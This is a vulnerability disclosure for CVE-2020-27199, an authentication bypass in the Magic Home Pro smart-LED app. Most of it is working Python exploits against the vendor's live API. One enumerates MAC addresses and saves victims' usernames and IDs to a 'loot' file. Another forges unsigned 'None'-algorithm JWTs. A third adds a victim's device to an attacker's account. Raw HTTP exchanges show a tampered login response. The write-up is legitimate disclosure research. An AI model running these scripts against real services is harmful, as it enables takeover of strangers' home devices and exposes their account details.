CVE-2020-27199 (Magic Home Pro - Authentication Bypass)

Multiple vulnerabilities found in the Magic Home Pro Mobile Application which is used to interface with the JadeHomic LED Strip RGB Kit. The most significant of these vulnerabilities is an Authentication Bypass (CVE-2020-27199) vulnerability, which ultimately allows for full takeover and control of a victims’ entire device group.

Pre-Work to finding

Application

Magic Home Pro

Vendor of Product

JadeHomic

WiFi Controller Product Owner

Suzhou SmartChip Semiconductor Co.,Ltd

Vendor Website

JadeHomic

Reference(s)

Mitre

Exploit-db

SpiderLabs Blog

Affected Product Code Base

Magic Home Pro

Description

Base URL: wifij01us.magichue.net

Enumeration

This vulnerability allows for any authenticated user to utilise their current authorization level to interrogate end points not apart of their registered products, using an API call to /app/getBindedUserListByMacAddress/ZG001?macAddress=<mac address>. This results in a HTTP response that indicates the existence of the endpoint and returns the Username, User Unique Identifier (userUniID) and the Binded Unique ID (bindedUniID) of the associated endpoint.

Using the above interrogation, an attacker is then able to utilise an unauthorized POST request to API /app/sendCommandBatch/ZG001, using the newly enumerated mac address to send commands to the remote endpoint using compatible hex commands 71230fa3 and 71240fa4 resulting in ON and OFF respectively.

JWT forging based on the above gleaned details

After initial enumeration is complete, it is also possible to forge a JWT using the userID and uniID within the JWT payload data, in effect downgrading the token to use ‘None’ as the algorithm in the JWT header section (signature-bypass vulnerability). Using this vulnerability the application is susceptible to device takeover by an attacker through use of the remote API call to /app/shareDevice/ZG001 and utilising the friendUserID JSON parameter to add the device to the attackers device list, giving the attacker full control of the endpoint device.

Credit(s):

Vulnerability Type

Additional Information

OUI

The OUI describes the Organisation Unique Identifier for MAC Addresses registered to an organisation. In the case of JadeHomic the magic OUI is C8:2E:47, where the first three bytes corresponds to the manufacturer and the second 3 bytes correspond to the serial number assigned by the manufacturer. In our case the manufacturer identifier is registered to Suzhou SmartChip Semiconductor Co., LTD.

CVE Impact Other

Allows for an the authentication bypass of the Magic Home Pro Mobile application and thus full control of a victim users’ entire device group.

Attack Vectors

PoC enumerator and batch command exploit

The proof of concept enumerates on the last bytes within the MAC range and returns findings. It allows a test of the ‘remote execute’ if you are feeling daring.

import requests
import json
import os
from colorama import init
from colorama import Fore, Back, Style
import re

'''
1. First Stage Authentication
2. Second Stage Enumerate
3. Third Stage Remote Execute
'''

global found_macaddresses
found_macaddresses = []
global outtahere
outtahere = ""
q = "q"
global token


def turnOn(target, token):

    urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
    array = {
        "dataCommandItems":[
            {"hexData":"71230fa3","macAddress":target}
        ]
    }
    data = json.dumps(array)
    headersOn = {
        "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
        "Accept-Language": "en-US",
        "Accept": "application/json", 
        "Content-Type": "application/json; charset=utf-8",
        "token":token,
        "Host": "wifij01us.magichue.net",
        "Connection": "close",
        "Accept-Encoding": "gzip, deflate"
    }
    print (Fore.WHITE + "[+] Sending Payload ...")
    response = requests.post(urlOn, data=data, headers=headersOn)
    if response.status_code == 200:
        if "true" in response.text:
            print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
        else:
            print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")

def turnOff(target, token):

    urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
    array = {
        "dataCommandItems":[
            {"hexData":"71240fa4","macAddress":target}
        ]
    }
    data = json.dumps(array)
    headersOff = {
        "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
        "Accept-Language": "en-US",
        "Accept": "application/json", 
        "Content-Type": "application/json; charset=utf-8",
        "token":token,
        "Host": "wifij01us.magichue.net",
        "Connection": "close",
        "Accept-Encoding": "gzip, deflate"
    }
    print (Fore.WHITE + "[+] Sending Payload ...")
    response = requests.post(urlOff, data=data, headers=headersOff)
    if response.status_code == 200:
        if "true" in response.text:
            print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off")
        else:
            print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")

def lighItUp(target, token):

    outtahere = ""
    q = "q"
    if len(str(target)) < 12:
        print (Fore.RED + "[!] Invalid target" + Style.RESET_ALL)
    elif re.match('[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}$', target.lower()):
        while outtahere.lower() != q.lower():
            if outtahere == "0":
                turnOn(target, token)
            elif outtahere == "1":
                turnOff(target, token)
            outtahere = input(Fore.BLUE + "ON/OFF/QUIT ? (0/1/Q): " + Style.RESET_ALL)

def Main():
    urlAuth = "https://wifij01us.magichue.net/app/login/ZG001"

    data = {
        "userID":"<Valid Registered Email/Username>",
        "password":"<Valid Registered Password>",
        "clientID":""
    }

    headersAuth = {
        "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
        "Accept-Language": "en-US",
        "Accept": "application/json", 
        "Content-Type": "application/json; charset=utf-8",
        "Host": "wifij01us.magichue.net",
        "Connection": "close",
        "Accept-Encoding": "gzip, deflate"
    }

    # First Stage Authenticate

    os.system('clear')
    print (Fore.WHITE + "[+] Authenticating ...")
    response = requests.post(urlAuth, json=data, headers=headersAuth)
    resJsonAuth = response.json()
    token = (resJsonAuth['token'])

    # Second Stage Enumerate

    print (Fore.WHITE + "[+] Enumerating ...")
    macbase = "C82E475DCE"
    macaddress = []
    a = ["%02d" % x for x in range(100)]
    for num in a:
        macaddress.append(macbase+num)

    with open('loot.txt', 'w') as f:
        for mac in macaddress:
            urlEnum = "https://wifij01us.magichue.net/app/getBindedUserListByMacAddress/ZG001"
            params = {
                "macAddress":mac
            }

            headersEnum = {
                "User-Agent": "Magic Home/1.5.1(ANDROID,9,en-US)",
                "Accept-Language": "en-US",
                "Content-Type": "application/json; charset=utf-8",
                "Accept": "application/json",
                "token": token,
                "Host": "wifij01us.magichue.net",
                "Connection": "close",
                "Accept-Encoding": "gzip, deflate"
            }

            response = requests.get(urlEnum, params=params, headers=headersEnum)
            resJsonEnum = response.json()
            data = (resJsonEnum['data'])
            if not data:
                pass
            elif data:
                found_macaddresses.append(mac)
                print (Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}")
                f.write(Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}\n")
            else:
                print (Fore.RED + "[-] No results found!")
                print(Style.RESET_ALL)

        if not found_macaddresses:
            print (Fore.RED + "[-] No MAC addresses retrieved")
        elif found_macaddresses:
            attackboolean = input(Fore.BLUE + "Would you like to Light It Up ? (y/N): " + Style.RESET_ALL)
            if (attackboolean.upper() == 'Y'):
                target = input(Fore.RED + "Enter a target device mac address: " + Style.RESET_ALL)
                lighItUp(target, token)
            elif (attackboolean.upper() == 'N'):
                print (Fore.CYAN + "Sometimes, belief isn’t about what we can see. It’s about what we can’t."+ Style.RESET_ALL)
            else:
                print (Fore.CYAN + "The human eye is a wonderful device. With a little effort, it can fail to see even the most glaring injustice." + Style.RESET_ALL)

if __name__ == "__main__":
    Main()

Enumeration

Token Forging

PoC token forger
#!/usr/local/bin/python3

import url64
import requests
import json
import sys
import os
from colorama import init
from colorama import Fore, Back, Style
import re
import time
from wsgiref.handlers import format_date_time
from datetime import datetime
from time import mktime

now = datetime.now()
stamp = mktime(now.timetuple())

'''
HTTP/1.1 200
Server: nginx/1.10.3
Content-Type: application/json;charset=UTF-8
Connection: close

"{\"code\":0,\"msg\":\"\",\"data\":{\"webApi\":\"wifij01us.magichue.net/app\",\"webPathOta\":\"http:\/\/wifij01us.magichue.net\/app\/ota\/download\",\"tcpServerController\":\"TCP,8816,ra8816us02.magichue.net\",\"tcpServerBulb\":\"TCP,8815,ra8815us02.magichue.net\",\"tcpServerControllerOld\":\"TCP,8806,mhc8806us.magichue.net\",\"tcpServerBulbOld\":\"TCP,8805,mhb8805us.magichue.net\",\"sslMqttServer\":\"ssl:\/\/192.168.0.112:1883\",\"serverName\":\"Global\",\"serverCode\":\"US\",\"userName\":\"\",\"userEmail\":\"\",\"userUniID\":\"\"},\"token\":\"\"}"
'''

def Usage():
    print (f"Usage: {sys.argv[0]} <username> <unique id>")

def Main(user, uniqid):
    os.system('clear')
    print ("[+] Encoding ...")
    print ("[+] Bypass header created!")
    print ("HTTP/1.1 200")
    print ("Server: nginx/1.10.3")
    print ("Date: "+str(format_date_time(stamp))+"")
    print ("Content-Type: application/json;charset=UTF-8")
    print ("Connection: close\r\n\r\n")

    jwt_header = '{"typ": "JsonWebToken","alg": "None"}'
    jwt_data = '{"userID": "'+user+'", "uniID": "'+uniqid+'","cdpid": "ZG001","clientID": "","serverCode": "US","expireDate": 1618264850608,"refreshDate": 1613080850608,"loginDate": 1602712850608}'
    jwt_headerEncoded = url64.encode(jwt_header.strip())
    jwt_dataEncoded = url64.encode(jwt_data.strip())
    jwtcombined = (jwt_headerEncoded.strip()+"."+jwt_dataEncoded.strip()+".")
    print ("{\"code\":0,\"msg\":\"\",\"data\":{\"webApi\":\"wifij01us.magichue.net/app\",\"webPathOta\":\"http://wifij01us.magichue.net/app/ota/download\",\"tcpServerController\":\"TCP,8816,ra8816us02.magichue.net\",\"tcpServerBulb\":\"TCP,8815,ra8815us02.magichue.net\",\"tcpServerControllerOld\":\"TCP,8806,mhc8806us.magichue.net\",\"tcpServerBulbOld\":\"TCP,8805,mhb8805us.magichue.net\",\"sslMqttServer\":\"ssl:\/\/192.168.0.112:1883\",\"serverName\":\"Global\",\"serverCode\":\"US\",\"userName\":\""+user+"\",\"userEmail\":\""+user+"\",\"userUniID\":\""+uniqid+"\"},\"token\":\""+jwtcombined+"\"}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        Usage()
    else:
        Main(sys.argv[1], sys.argv[2])

Device Take Over

PoC device take over exploit
#!/usr/local/bin/python3

import url64
import requests
import json
import sys
import os
from colorama import init
from colorama import Fore, Back, Style
import re

def Usage():
    print (f"Usage: {sys.argv[0]} <attacker email> <target email> <target mac address> <target forged token>")

def Main():

    attacker_email = sys.argv[1]
    target_email = sys.argv[2]
    target_mac = sys.argv[3]
    forged_token = sys.argv[4]

    os.system('clear')
    print (Fore.WHITE + "[+] Sending Payload ...")
    url = "https://wifij01us.magichue.net/app/shareDevice/ZG001"

    array = {"friendUserID":attacker_email, "macAddress":target_mac}

    data = json.dumps(array)

    headers = {
        "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
        "Accept-Language": "en-US",
        "Accept": "application/json", 
        "Content-Type": "application/json; charset=utf-8",
        "token":forged_token,
        "Host": "wifij01us.magichue.net",
        "Connection": "close",
        "Accept-Encoding": "gzip, deflate"
    }
    
    response = requests.post(url, data=data, headers=headers)
    if response.status_code == 200:
        if "true" in response.text:
            print (Fore.GREEN + "[*] Target is now yours ... " + Style.RESET_ALL)
        else:
            print (Fore.RED + "[-] Failed to take over target !" + Style.RESET_ALL)

if __name__ == "__main__":
    if len(sys.argv) < 5:
        Usage()
    else:
        Main()
Example successful POST request/response exchange
POST Request

POST /app/shareDevice/ZG001 HTTP/1.1
User-Agent: Magic Home/1.5.1(ANDROID,9,en-US)
Accept-Language: en-US
Accept: application/json
token: <forged token, representing the target victim>
Content-Type: application/json; charset=utf-8
Content-Length: 72
Host: wifij01us.magichue.net
Connection: close
Accept-Encoding: gzip, deflate

{"friendUserID":"<attackercontrolled email>","macAddress":"<victim mac address>"}

Response

HTTP/1.1 200 
Server: nginx/1.10.3
Date: Tue, 07 Jul 2020 05:31:33 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 31

{"code":0,"msg":"","data":true}

Authentication Bypass (Magic Home Pro) (CVE-2020-27199)

Original HTTP Login Request via Magic Home Pro Mobile app
 
POST /app/login/ZG001 HTTP/1.1
User-Agent: Magic Home/1.5.1(ANDROID,9,en-US)
Accept-Language: en-US
Accept: application/json
token:
Content-Type: application/json; charset=utf-8
Content-Length: 117
Host: wifij01us.magichue.net
Connection: close
Accept-Encoding: gzip, deflate
 
{"userID":"<victim userID>","password":"<arbitrary password>","clientID":"<arbitrary ClientID>"}

Original HTTP Response
 
HTTP/1.1 200
Server: nginx/1.10.3
Date: Thu, 08 Oct 2020 00:08:45 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 37
 
{"code":10033,"msg":"Password error"}

Edited HTTP Response
 
HTTP/1.1 200
Server: nginx/1.10.3
Date: Mon, 06 Jul 2020 12:32:02 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 907
 
{"code":0,"msg":"","data":{"webApi":"wifij01us.magichue.net/app","webPathOta":"http://wifij01us.magichue.net/app/ota/download","tcpServerController":"TCP,8816,ra8816us02.magichue.net","tcpServerBulb":"TCP,8815,ra8815us02.magichue.net","tcpServerControllerOld":"TCP,8806,mhc8806us.magichue.net","tcpServerBulbOld":"TCP,8805,mhb8805us.magichue.net","sslMqttServer":"ssl://192.168.0.112:1883","serverName":"Global","serverCode":"US","userName":"<victim userID>","userEmail":"<victim email>","userUniID":"<uniID gleaned from enumeration>"},"token":"<forged JWT based on gleaned data from API call>"}

Video Exploit PoC

Magic Home PRO - Exploit

Discoverer

Credit: Victor Hanna of Trustwave SpiderLabs